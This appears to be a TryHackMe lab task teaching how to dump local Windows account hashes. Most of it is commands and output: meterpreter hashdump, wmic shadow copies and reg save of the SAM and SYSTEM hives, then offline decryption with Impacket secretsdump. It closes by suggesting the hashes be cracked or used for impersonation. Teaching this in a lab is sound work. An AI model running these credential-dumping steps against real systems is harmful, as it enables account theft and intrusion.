148 lines
9.1 KiB
Markdown
148 lines
9.1 KiB
Markdown
|
|
|||
|
|
## General
|
|||
|
|
|
|||
|
|
In general, Windows operating system provides two types of user accounts: Local and Domain. Local users' details are stored locally within the Windows file system, while domain users' details are stored in the centralized Active Directory. This task discusses credentials for local user accounts and demonstrates how they can be obtained.
|
|||
|
|
|
|||
|
|
## Keystrokes
|
|||
|
|
Keylogger is a software or hardware device to monitor and log keyboard typing activities. Keyloggers were initially designed for legitimate purposes such as feedback for software development or parental control. However, they can be misused to steal data. As a red teamer, hunting for credentials through keyloggers in a busy and interactive environment is a good option. If we know a compromised target has a logged-in user, we can perform keylogging using tools like the Metasploit framework or others.
|
|||
|
|
|
|||
|
|
We have a use case example for exploiting users via keystrokes using Metasploit in another THM room. For more information, you should check THM [Exploiting AD](https://tryhackme.com/room/exploitingad) (Task 5).
|
|||
|
|
|
|||
|
|
## Security Account Manager (SAM)
|
|||
|
|
|
|||
|
|
The SAM is a Microsoft Windows database that contains local account information such as usernames and passwords. The SAM database stores these details in an encrypted format to make them harder to be retrieved. Moreover, it can not be read and accessed by any users while the Windows operating system is running. However, there are various ways and attacks to dump the content of the SAM database.
|
|||
|
|
|
|||
|
|
First, ensure you have deployed the provided VM and then confirm we are not able to copy or read the `c:\Windows\System32\config\sam` file:
|
|||
|
|
|
|||
|
|
Confirming No Access to the SAM Database
|
|||
|
|
|
|||
|
|
```shell-session
|
|||
|
|
C:\Windows\system32>type c:\Windows\System32\config\sam
|
|||
|
|
type c:\Windows\System32\config\sam
|
|||
|
|
The process cannot access the file because it is being used by another process.
|
|||
|
|
|
|||
|
|
C:\Windows\System32> copy c:\Windows\System32\config\sam C:\Users\Administrator\Desktop\
|
|||
|
|
copy c:\Windows\System32\config\sam C:\Users\Administrator\Desktop\
|
|||
|
|
The process cannot access the file because it is being used by another process.
|
|||
|
|
0 file(s) copied.
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## Metasploit's HashDump
|
|||
|
|
The first method is using the built-in Metasploit Framework feature, hashdump, to get a copy of the content of the SAM database. The Metasploit framework uses in-memory code injection to the LSASS.exe process to dump copy hashes.
|
|||
|
|
|
|||
|
|
Dumping the SAM database content
|
|||
|
|
|
|||
|
|
```shell-session
|
|||
|
|
meterpreter > getuid
|
|||
|
|
Server username: THM\Administrator
|
|||
|
|
meterpreter > hashdump
|
|||
|
|
Administrator:500:aad3b435b51404eeaad3b435b51404ee:98d3b784d80d18385cea5ab3aa2a4261:::
|
|||
|
|
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
|
|||
|
|
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ec44ddf5ae100b898e9edab74811430d:::
|
|||
|
|
CREDS-HARVESTIN$:1008:aad3b435b51404eeaad3b435b51404ee:443e64439a4b7fe780db47fc06a3342d:::
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## Volume Shadow Copy Service
|
|||
|
|
The other approach uses the Microsoft Volume shadow copy service, which helps perform a volume backup while applications read/write on volumes. You can visit the [Microsoft documentation page](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service) for more information about the service.
|
|||
|
|
|
|||
|
|
More specifically, we will be using wmic to create a shadow volume copy. This has to be done through the command prompt with **administrator privileges** as follows,
|
|||
|
|
|
|||
|
|
1. Run the standard cmd.exe prompt with administrator privileges.
|
|||
|
|
2. Execute the wmic command to create a copy shadow of C: drive
|
|||
|
|
3. Verify the creation from step 2 is available.
|
|||
|
|
4. Copy the SAM database from the volume we created in step 2
|
|||
|
|
|
|||
|
|
Now let's apply what we discussed above and run the cmd.exe with administrator privileges. Then execute the following wmic command:
|
|||
|
|
|
|||
|
|
Creating a Shadow Copy of Volume C with WMIC
|
|||
|
|
|
|||
|
|
```shell-session
|
|||
|
|
C:\Users\Administrator>wmic shadowcopy call create Volume='C:\'
|
|||
|
|
Executing (Win32_ShadowCopy)->create()
|
|||
|
|
Method execution successful.
|
|||
|
|
Out Parameters:
|
|||
|
|
instance of __PARAMETERS
|
|||
|
|
{
|
|||
|
|
ReturnValue = 0;
|
|||
|
|
ShadowID = "{D8A11619-474F-40AE-A5A0-C2FAA1D78B85}";
|
|||
|
|
};
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
Once the command is successfully executed, let's use the `vssadmin`, Volume Shadow Copy Service administrative command-line tool, to list and confirm that we have a shadow copy of the `C:` volume.
|
|||
|
|
|
|||
|
|
Listing the Available Shadow Volumes
|
|||
|
|
|
|||
|
|
```shell-session
|
|||
|
|
C:\Users\Administrator>vssadmin list shadows
|
|||
|
|
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
|
|||
|
|
(C) Copyright 2001-2013 Microsoft Corp.
|
|||
|
|
|
|||
|
|
Contents of shadow copy set ID: {0c404084-8ace-4cb8-a7ed-7d7ec659bb5f}
|
|||
|
|
Contained 1 shadow copies at creation time: 5/31/2022 1:45:05 PM
|
|||
|
|
Shadow Copy ID: {d8a11619-474f-40ae-a5a0-c2faa1d78b85}
|
|||
|
|
Original Volume: (C:)\\?\Volume{19127295-0000-0000-0000-100000000000}\
|
|||
|
|
Shadow Copy Volume: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
|
|||
|
|
Originating Machine: Creds-Harvesting-AD.thm.red
|
|||
|
|
Service Machine: Creds-Harvesting-AD.thm.red
|
|||
|
|
Provider: 'Microsoft Software Shadow Copy provider 1.0'
|
|||
|
|
Type: ClientAccessible
|
|||
|
|
Attributes: Persistent, Client-accessible, No auto release, No writers, Differential
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
The output shows that we have successfully created a shadow copy volume of (C:) with the following path: `\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1`.
|
|||
|
|
|
|||
|
|
As mentioned previously, the SAM database is encrypted either with [RC4](https://en.wikipedia.org/wiki/RC4) or [AES](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard) encryption algorithms. In order to decrypt it, we need a decryption key which is also stored in the files system in `c:\Windows\System32\Config\system`.
|
|||
|
|
|
|||
|
|
Now let's copy both files (sam and system) from the shadow copy volume we generated to the desktop as follows,
|
|||
|
|
|
|||
|
|
Copying the SAM and SYSTEM file from the Shadow Volume
|
|||
|
|
|
|||
|
|
```shell-session
|
|||
|
|
C:\Users\Administrator>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\Administrator\Desktop\sam
|
|||
|
|
1 file(s) copied.
|
|||
|
|
|
|||
|
|
C:\Users\Administrator>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\Administrator\Desktop\system
|
|||
|
|
1 file(s) copied.
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
Now we have both required files, transfer them to the AttackBox with your favourite method (SCP should work).
|
|||
|
|
|
|||
|
|
## Registry Hives
|
|||
|
|
Another possible method for dumping the SAM database content is through the Windows Registry. Windows registry also stores a copy of some of the SAM database contents to be used by Windows services. Luckily, we can save the value of the Windows registry using the reg.exe tool. As previously mentioned, we need two files to decrypt the SAM database's content. Ensure you run the command prompt with Administrator privileges.
|
|||
|
|
|
|||
|
|
Save SAM and SYSTEM files from the registry
|
|||
|
|
|
|||
|
|
```shell-session
|
|||
|
|
C:\Users\Administrator\Desktop>reg save HKLM\sam C:\users\Administrator\Desktop\sam-reg
|
|||
|
|
The operation completed successfully.
|
|||
|
|
|
|||
|
|
C:\Users\Administrator\Desktop>reg save HKLM\system C:\users\Administrator\Desktop\system-reg
|
|||
|
|
The operation completed successfully.
|
|||
|
|
|
|||
|
|
C:\Users\Administrator\Desktop>
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
Let's this time decrypt it using one of the Impacket tools: `secretsdump.py`, which is already installed in the AttackBox. The Impacket SecretsDump script extracts credentials from a system locally and remotely using different techniques.
|
|||
|
|
|
|||
|
|
Move both SAM and system files to the AttackBox and run the following command:
|
|||
|
|
|
|||
|
|
Decrypting SAM Database using Impacket SecretsDump Script Locally
|
|||
|
|
|
|||
|
|
```shell-session
|
|||
|
|
user@machine:~# python3.9 /opt/impacket/examples/secretsdump.py -sam /tmp/sam-reg -system /tmp/system-reg LOCAL
|
|||
|
|
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
|
|||
|
|
|
|||
|
|
[*] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821
|
|||
|
|
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
|
|||
|
|
Administrator:500:aad3b435b51404eeaad3b435b51404ee:98d3a787a80d08385cea7fb4aa2a4261:::
|
|||
|
|
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
|
|||
|
|
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
|
|||
|
|
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
|
|||
|
|
[*] Cleaning up...
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
Note that we used the SAM and System files that we extracted from Windows Registry. The `-sam` argument is to specify the path for the dumped sam file from the Windows machine. The `-system` argument is for a path for the system file. We used the `LOCAL` argument at the end of the command to decrypt the Local SAM file as this tool handles other types of decryption.
|
|||
|
|
|
|||
|
|
Note if we compare the output against the NTLM hashes we got from Metasploit's Hashdump, the result is different. The reason is the other accounts belong to Active Directory, and their information is **not** stored in the System file we have dumped. To Decrypt them, we need to dump the SECURITY file from the Windows file, which contains the required files to decrypt Active Directory accounts.
|
|||
|
|
|
|||
|
|
Once we obtain NTLM hashes, we can try to crack them using Hashcat if they are guessable, or we can use different techniques to impersonate users using the hashes.
|